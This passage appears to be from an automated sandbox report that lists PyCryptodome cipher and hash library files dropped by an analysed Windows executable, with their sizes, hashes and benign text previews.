Preview:	o.........Sg.O.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).ah....Offset Codebook (OCB) mode...OCB is Authenticated Encryption with Associated Data (AEAD) cipher mode.designed by Prof. Phillip Rogaway and specified in `RFC7253`_...The algorithm provides both authenticity and privacy, it is very efficient,.it uses only one key and it can be used in online mode (so that encryption.or decryption can start before the end of the message is available)...This module implements the third and last variant of OCB (OCB3) and it only.works in combination with a 128-bit block symmetric cipher, like AES...OCB is patented in US but `free licenses`_ exist for software implementations.meant for non-military purposes...Example:. >>> from Crypto.Cipher import AES. >>> from Crypto.Random import get_random_bytes. >>>. >>> key = get_ran

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_ofb.cpython-310.pyc.77078560

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7344
Entropy (8bit):	5.0771190361712115
Encrypted:	false
SSDEEP:	96:fA6kv9jQvHHq12nxIN3hS5A5esIUGGt834mGPMsQN7t/z8HaGTvt834+5pcRJ6Xn:wyHqAxId8s9GkU4yZlGTVU4JCoq/1l
MD5:	55CD3F09CA3FA86A429575CD4845BCFE
SHA1:	813637F53753B0E2FFD3479AADE898AA60612F3B
SHA-256:	10754C6C6BD55951F20EAE0017616DC65CDAB1E8F9AFCDAF57B36A0C05FDF117
SHA-512:	C5F3DF6C8147819259198CCA2DB8A98B6D614A4F5B36FBF45DB7CCC91098DAE4E0204DC992AA6719AE054C3C1A0FD847C6DA6B8CAB0953D250EE253A87679370
Malicious:	false
Preview:	o.........Sg.(.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Output Feedback (CFB) mode....OfbMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_ofba..... int OFB_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. void pResult);. int OFB_encrypt(void ofbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int OFB_decrypt(void *ofbState,. const uint8

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_openpgp.cpython-310.pyc.77079344

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4800
Entropy (8bit):	5.224683907072128
Encrypted:	false
SSDEEP:	96:OV8N+A+Xwyi2Kt834mGPUGt8340y9nxBX4o7UIDFI:OU+A+1YU44kU4H9xxUIZI
MD5:	6F9218689A7A4A76D03A33D62CA7EB2C
SHA1:	058942BC0021C1F14697638A7FB0DEFE84BE8C0A
SHA-256:	FAAB7F4EEE464CFDDBEFBF9D0A6172D1A946898BCF60234D41086CFCEDFC4CCC
SHA-512:	C80F64124B9BF1AC47846C58A93118699E2B8FB23A136436162A52CA9FB3DA4F94D5B3C73DD556927968768431F8BA6B66CDA05CB6C4293F19DA4724A55C0409
Malicious:	false
Preview:	o.........Sg[........................@...s>...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z..OpenPGP mode....OpenPgpMode.....)..._copy_bytes)...get_random_bytesc....................@...s(...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....az...OpenPGP mode... This mode is a variant of CFB, and it is only used in PGP and. OpenPGP_ applications. If in doubt, use another mode... An Initialization Vector (IV) is required... Unlike CFB, the encrypted IV (not the IV itself) is. transmitted to the receiver... The IV is a random data block. For legacy reasons, two of its bytes are. duplicated to act as a checksum for the correctness of the key, which is now. known to be insecure and is ignored. The encrypted IV is therefore 2 bytes. longer than the clean IV... .. _OpenPGP: http://tools.ietf.org/html/rfc4880.. :undocumented: __init__. c....................C...s....\|.j.\|._.d.\|._.\|.j.\|.\|.j.f.d.\|.j...\|.j.d...d...\|.....}.t.d.d.\|...}.t.\|...\|.

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_mode_siv.cpython-310.pyc.77080464

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11801
Entropy (8bit):	5.244124609406051
Encrypted:	false
SSDEEP:	192:sLqjzBGjN4xYIBKXrEApsGdDGdkT+WIp6hW97iuA4al45B3xQrBBQ:mq45XIBarEWfYiIpAe7JaG81m
MD5:	EC616C02E5EBC2145DC367E0BE6E2FA5
SHA1:	66E25C960D2228E0ABC2060C83020C989EA4E98F
SHA-256:	359DD5EDAEB89EEA67822A6B49F55C24D3B057D0537B23B6FB58DBD90424F235
SHA-512:	9AC9388F4DB2B6F2A582C79E98C1A8EF9BC465465DA52EC292F931C6F1335BB9585B2E662FC47C674AE870E27B603B6450CB8E9F8377DC8C74CE930F68AFAE83
Malicious:	false
Preview:	o.........Sg!8.......................@...s....d.Z.d.g.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z-.Synthetic Initialization Vector (SIV) mode....SivMode.....)...hexlify..unhexlify)...bord.._copy_bytes)...is_buffer)...long_to_bytes..bytes_to_long)..._S2V)...BLAKE2s)...get_random_bytesc....................@...sl...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....a....Synthetic Initialization Vector (SIV)... This is an Authenticated Encryption with Associated Data (`AEAD`_) mode.. It provides both confidentiality and authenticity... The header of the message may be left in the clear, if needed, and it will. still be subject to authentication. The decryption step tells the receiver. if the message comes from a source that really knowns the secret key.. Additionally, decryption detects if any part of the message - including

C:\recover\pw\Lib\site-packages\Crypto\Cipher\pycache\_pkcs1_oaep_decode.cpython-310.pyc.76405840

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1513
Entropy (8bit):	4.589700206159864
Encrypted:	false
SSDEEP:	24:XKD8osetp6ePCXjDRy2NjKKJwABUxmZk5F5186hnnj5Mwj:XKwosM6p1IV860wj
MD5:	3D3EC74AF0B61DB5A40AFCD6A88A4F9F
SHA1:	5FF4BB9D156521E01718DE63B600114E77AAC015
SHA-256:	90FEB44F28DA4EE7C17620592223524D62252C996C412FFD0C9F44499D54339C
SHA-512:	2A9193C5BE1BC1B20C29F05CE1E8C3394034FBF96F948BE8DC0DDEB833CAE5332FD604673793DE73F3EFD290ADA3C8E4731ECB3BD8ACC6F00AE22B7C1A9A8D64
Malicious:	false
Preview:	o.........SgI........................@...s2...d.d.l.m.Z.m.Z.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_lib..c_size_t..c_uint8_ptrz.Crypto.Cipher._pkcs1_decodea..... int pkcs1_decode(const uint8_t em, size_t len_em,. const uint8_t sentinel, size_t len_sentinel,. size_t expected_pt_len,. uint8_t output);.. int oaep_decode(const uint8_t em,. size_t em_len,. const uint8_t lHash,. size_t hLen,. const uint8_t db,. size_t db_len);. c....................C...sP...t.\|...t.\|...k.r.t.d.....t...t.\|...t.t.\|.....t.\|...t.t.\|.....t.\|...t.\|.....}.\|.S.).Nz.Incorrect output length)...len..ValueErr

C:\recover\pw\Lib\site-packages\Crypto\Hash\HMAC.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8383
Entropy (8bit):	5.035054686221352
Encrypted:	false
SSDEEP:	96:5J0YDqrYJALrYJHdt3EHGuIWH8ESYXcVGed7VobGKKMidLQBrR8ba/jVtbOixcSc:5JLqrskrs9t3q/IycVGlhiwNRSqzneLl
MD5:	1B694324354191939445989D02B57552
SHA1:	459F3C732F46D703844BE242590867B7C336257C
SHA-256:	BF5BDB55739BC144FFD51BE8696DF86FDDB749EFC794105122BA6882062D1F77
SHA-512:	559F55B868EBE7C088617A6E960622C75D90138720FF661BCABF74A0C01CB4D52F9F6B0C200CBF3B07DA7457BBED8CC9A445A876DB6232CBE05387BE9087DCEB
Malicious:	false
Preview:	#..# HMAC.py - Implements the HMAC algorithm as described by RFC 2104...#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAI

C:\recover\pw\Lib\site-packages\Crypto\Hash\HMAC.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	649
Entropy (8bit):	4.783061054533155
Encrypted:	false
SSDEEP:	12:1Ro8s7REYB6IvIY3YcRyTkpYRyc1AQ2ZcQ0WrQwgcxW5RwW0WFW2orULB/Q0WHQ4:1RM7C8T3xWFAlrVxW1W2oILB/SH+y
MD5:	14A386A671119C5A919A33425DBB267C
SHA1:	938FCE9D2F2D8D12B4E6DCE66CF634F0597E79C5
SHA-256:	C2C617969E9C441DCC4F844E9B8BA9767F49999272C239BDE88D5F4FAF6A672C
SHA-512:	99637CA962FF596AB9A740A3360DCA5989F0CA1DBC23C90926A213FC50A3E7A5FBC92DDDA0C62625FAA9A273CE9D6D50BFAC8A9D812BEC12DA2AD8CFE1D6D141
Malicious:	false
Preview:	from types import ModuleType..from typing import Union, Dict....Buffer = Union[bytes, bytearray, memoryview]....digest_size: int....class HMAC(object):.. digest_size: int.... def __init__(self,.... key: Buffer,.. msg: Buffer,.... digestmod: ModuleType) -> None: ..... def update(self, msg: Buffer) -> HMAC: ..... def copy(self) -> HMAC: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: .........def new(key: Buffer,.. msg: Buffer = ...,...digestmod: ModuleType = ...) -> HMAC: .....

C:\recover\pw\Lib\site-packages\Crypto\Hash\KMAC128.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6128
Entropy (8bit):	5.060949769894483
Encrypted:	false
SSDEEP:	96:MMDqrYJALrYJHdt3EHGuIWEHrU6vEjHPL4rSgLT2MniHOFEugEjfJQ69t65F:Nqrskrs9t3q/IytSniHYnCK4F
MD5:	FFA9326A97D6D9F07CC037565AEF8134
SHA1:	474261D53BE76A00B36A836980CC3C6DC7483794
SHA-256:	2784C94AFD4E41E49E3370AF0334D1578402E2CF51BFA1E57561D74EAFB5D9A4
SHA-512:	8B162E0D0843F7DB0AD2D5831A21290A38563E22628A4D20D83EA6D7BC3BBAF71228E8FC1BC2F0B8EDCD6F44800BB909613275A3E14FAF7AF088BE9CE9569D7E
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\Hash\KMAC128.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.361612751830179
Encrypted:	false
SSDEEP:	24:1REV4yNT3bAGJvdgK1WWLB/V0/V1LBGL8otLB/SmLj:h4rvVsMB/V0/VBBc8cB/S8j
MD5:	AB6420FC357655A5E7064F63055C551C
SHA1:	C936732267AB86FF4C74D262883948A23FAF2819
SHA-256:	383B57B62578122CD924BFA4DCB324233ED0D7A847F89D16BDBD3ED8251240C2
SHA-512:	EA97C574488210232741126FD97BAC54241937444DAAB8060C6DB1B5965B1D61EDB17643C4B6076E4DEBEA1B8BD15C3285728637944C2352F9E822CF85E4AF36
Malicious:	false
Preview:	from typing import Union..from types import ModuleType....Buffer = Union[bytes, bytearray, memoryview]....class KMAC_Hash(object):.... def __init__(self,.. data: Buffer,.. key: Buffer,.. mac_len: int,.. custom: Buffer,.. oid_variant: str,.. cshake: ModuleType,.. rate: int) -> None: ....... def update(self, data: Buffer) -> KMAC_Hash: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ..... def new(self,.. data: Buffer = ...,... mac_len: int = ...,... key: Buffer = ...,.. custom: Buffer = ...) -> KMAC_Hash: .........def new(key: Buffer,.. data: Buffer = ...,... mac_len: int = ...,.. custom: Buffer = ...) -> KMAC_Hash: .....

C:\recover\pw\Lib\site-packages\Crypto\Hash\KMAC256.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	5.271012086144821
Encrypted:	false
SSDEEP:	48:MMWOqrYJALrYJHdG43tDs3EsIG13NcuIH2+Q9JuEAnxxh2wGl6mDxcUROfnSO6d2:MMDqrYJALrYJHdt3EHGuIWH9Ju5JQ66E
MD5:	5D8FCE4FF68CED1B7951320BF774725A
SHA1:	50F60C4DEC5C1CF84A2182347937673B8CDDEAEB
SHA-256:	5DF6B48163BBBEA77D5B624E1E07B95F25390DB1430D45AD5CAB902E477A64A4
SHA-512:	DB2ABAD56E2E426C7BDF3E6BAEDFD3EE390FF495A032CB8F0CAFC4DAF84166C388B5EA1CC70FE45518A4F640A65A407E0E857D61EEACFC85C7ACD5895D007AA9
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\Hash\KMAC256.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	236
Entropy (8bit):	4.806129043337596
Encrypted:	false
SSDEEP:	6:1REYB+1LWpVQ9zrIY3MTDyo5LwmLBysOL13yamLs/Ns:1REYBeh9vIY3YyoR3LB/Y3mLs1s
MD5:	9BB92F855E03ADD802DAF8AFD8D46DD4
SHA1:	2D8211D1408152634446F921611426687A6A8800
SHA-256:	B220806E584FF8FA9C4A28733F1A096B631B700096020EADCF766B96F86A82E7
SHA-512:	705206605980538F53A763410E8DB18EA03BBA2C204F8FDB2E723EB0EEBD9E1B252414D0EC2E092D46795E82BF61EA126B27CD40EFABC62BF6F0CD039313C43B
Malicious:	false
Preview:	from typing import Union....from .KMAC128 import KMAC_Hash....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. data: Buffer = ...,... mac_len: int = ...,.. custom: Buffer = ...) -> KMAC_Hash: .....

C:\recover\pw\Lib\site-packages\Crypto\Hash\KangarooTwelve.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7392
Entropy (8bit):	4.848179526975703
Encrypted:	false
SSDEEP:	192:Nqrskrs9t3q/I86pj06gdE0Tq5/JPTZxl:krskrs9VqLwj0XzeL
MD5:	B8FF8687616746E7D2B33FA0EFC8DECE
SHA1:	32BA49FBF1FC3F036B99C2709515DC5ABC245C8B
SHA-256:	1F06117B8FB243148DA2689A76B39F88797D3A7A797A3363792D3D30D0FE06D0
SHA-512:	61C95FDB308FB6D2F822C5E1B9244D0583FDB636ABF47739492550C677D87DF9E7E28DF3B9CF051C565A5B93C946E13C974C3B4F0BA12541D6DDBC801C40E4C8
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\Hash\KangarooTwelve.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	588
Entropy (8bit):	4.505456264915036
Encrypted:	false
SSDEEP:	12:1REYB3vIY3vJ1ApWaNaFeLsQwRh72CX5BfWaNaFeLsXJaNi4j:1REcT3rA1Npuh717NpsENiS
MD5:	42C9FEC1BF1C0D408407E53932837C93
SHA1:	12F0171C79E934BF9202A864E6D87404EBDB1BDE
SHA-256:	4C18BD17FAE1D883D8710836B105100A6732AEF4639967F09FD1B7BD636E21B0
SHA-512:	9FC2C7FBFE0D15D327D6155DDB6613C1BDFC966E7BD2EC0D50CAE0DE981F5A1752B4A303EDFD9D87D68C7A0B2026E082B7F3DD3B40F8426B5CF9E0CF48A64723
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class K12_XOF(object):.. def __init__(self,.. data: Optional[Buffer] = ...,.. custom: Optional[bytes] = ...) -> None: ..... def update(self, data: Buffer) -> K12_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self,.. data: Optional[Buffer] = ...,.. custom: Optional[bytes] = ...) -> None: .......def new(data: Optional[Buffer] = ...,.. custom: Optional[Buffer] = ...) -> K12_XOF: .....

C:\recover\pw\Lib\site-packages\Crypto\Hash\MD2.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6277
Entropy (8bit):	4.740289678626214
Encrypted:	false
SSDEEP:	96:MwDqrYJALrYJHdt3EHGuIWHgkIx9LSVHSvtNz8iz1I7NHZDE3aOMz/fXqNagW6:9qrskrs9t3q/IN9L8i4NmKpfLI
MD5:	E481D6B8F9367485C21BE80F7EA069C9
SHA1:	3D3F67C2664934CF57C9705DBAC3B48A8DFF15B5
SHA-256:	2B2CB2D01B12395DDBEA6EC5D66E3CDC8FD5B99BCB81E112FE127299EE24922C
SHA-512:	3C215DF463DDAB0CE241F0898FF6005FC87C61E1249051876D05495AE3619569B18CB917AB9FEE194AFE73698CFCAFA4FC662617E22F17757063C978687B1B1C
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\Hash\MD2.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	511
Entropy (8bit):	4.765158993873355
Encrypted:	false
SSDEEP:	12:1REYBjvIY3g2RypRyLu1AwLsQwu5LGLs+4Ls7Ry5Ryn:1REET3g2QEWAwL/0Lz4Lcwy
MD5:	4BC02D61022F9C16DF722B5F84952EE6
SHA1:	C1AC7927C7F367E0ED86236950DC2966326B127C
SHA-256:	3B3C9E78A4313AC9D7935D4AE92C650879BE8F55007478154429919B4794BB42
SHA-512:	9A6729A4346430DAB7D125D5575C955B968B2491F37C75F9ECE46A13A0DA794348F86227EC29A0D700CB5B66F76353D4372439D9EE956DFC43CEF75B62EA9251
Malicious:	false
Preview:	from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class MD4Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Buffer = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD4Hash: ..... def new(self, data: Buffer = ...) -> MD4Hash: .......def new(data: Buffer = ...) -> MD4Hash: .....digest_size: int..block_size: int..

C:\recover\pw\Lib\site-packages\Crypto\Hash\MD4.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6767
Entropy (8bit):	4.77561272659047
Encrypted:	false
SSDEEP:	96:MwDqrYJALrYJHdt3EHGuIuyHgkIc+VpFfjlBPazI1i4a9m2gNeJ3JOMTRt/XklO/:9qrskrs9t3q/IuHJbD62itgGZ3FWtA
MD5:	815AD75FFCEB01DBC18A797BEB80D57E
SHA1:	90AEFD81B088EC63E771C502377380B5A83AAB0A
SHA-256:	26196B146E61C65278C91C066B7460FEBC3200DC14FB5E842C471E6D56C39783
SHA-512:	2025D72689B0A4CF2B1B30BAD9593DF40EB632C20628916F7141832930D6F42FEE3E79B951620A161B19213C18E4E5C1C5A1EC946B4F68E0911A9FB636D0E4ED
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\Hash\MD4.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	551
Entropy (8bit):	4.846633197285402
Encrypted:	false
SSDEEP:	12:1REYB3vIY3g2RypRyLu1AGR4Qwu5LgR4+OR47Ry5Ryn:1REcT3g2QEWAczQ/UYwy
MD5:	74AB60EEF22557EA93605E680CA5D294
SHA1:	6EE4291D7DB2B6787D18FC27DAD203ED326B3C3C
SHA-256:	0602DA2A342D9EF1F7C015F953B2DF27F51C25A5E99F89044E71579662EBA5FF
SHA-512:	F87B68B8145984213A2028813A82CD51C294D1A5D723DC92983662E24859EDFF25F5D608C2EC806BB052EC3BA8D8ABAB47C8047347C499FAE16833BB0A6CCC97
Malicious:	false
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class MD4Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD4Hash: ..... def new(self, data: Optional[Buffer] = ...) -> MD4Hash: .......def new(data: Optional[Buffer] = ...) -> MD4Hash: .....digest_size: int..block_size: int..

C:\recover\pw\Lib\site-packages\Crypto\Hash\MD5.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6802
Entropy (8bit):	4.584130593682968
Encrypted:	false
SSDEEP:	96:dFQHvo7H1kIcKxYHSvtZzUwipIDwNHiw3aOMzCkDXXgcNdymaZ/HSxUY59Rk:bQHvLSrifNBKoknPDdzRk
MD5:	9B5CEA3FA09AFC6A601C87474223CF35
SHA1:	2D5EFB95669296497442EFBD696460F2049D3FA6
SHA-256:	5B3966F7457DB844BE069E442139F2863B2407D9C803EDCA064CE878BBD263E5
SHA-512:	3C989A5974DECE408C53EF69F45C4003DA506FE681C1196B29C7F9F5A4FC97264C39272952256BB7C8ACAFD9D2F7E783F815D8AD3E0AA97573F11103F13786A6
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\recover\pw\Lib\site-packages\Crypto\Hash\MD5.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	511
Entropy (8bit):	4.765158993873355
Encrypted:	false
SSDEEP:	12:1REYBjvIY3IpRypRyLu1AwLsQwu5QlGLsIc4LsIJRy5Ryn:1REET3EQEWAwL/1LQ4Ljwy
MD5:	1F1147ECB293220FC948730F06836366
SHA1:	E467DEF3A20461383919E11A801E0B57BBDC85E6
SHA-256:	8A3E274302454BFF4450C1DF6DA89A048F13EB048E64C6781408F18066F8430B
SHA-512:	762332FFC8A79CEFABE74934DEBC2F101EB2BF66584765D21B8A3E21D0483F3AD2A18D60337573121A048588375D225A07F2698616B8227EDFF20FC95528A441
Malicious:	false
Preview:	from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class MD5Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Buffer = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD5Hash: ..... def new(self, data: Buffer = ...) -> MD5Hash: .......def new(data: Buffer = ...) -> MD5Hash: .....digest_size: int..block_size: int..

C:\recover\pw\Lib\site-packages\Crypto\Hash\Poly1305.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8291
Entropy (8bit):	4.581460307129591
Encrypted:	false
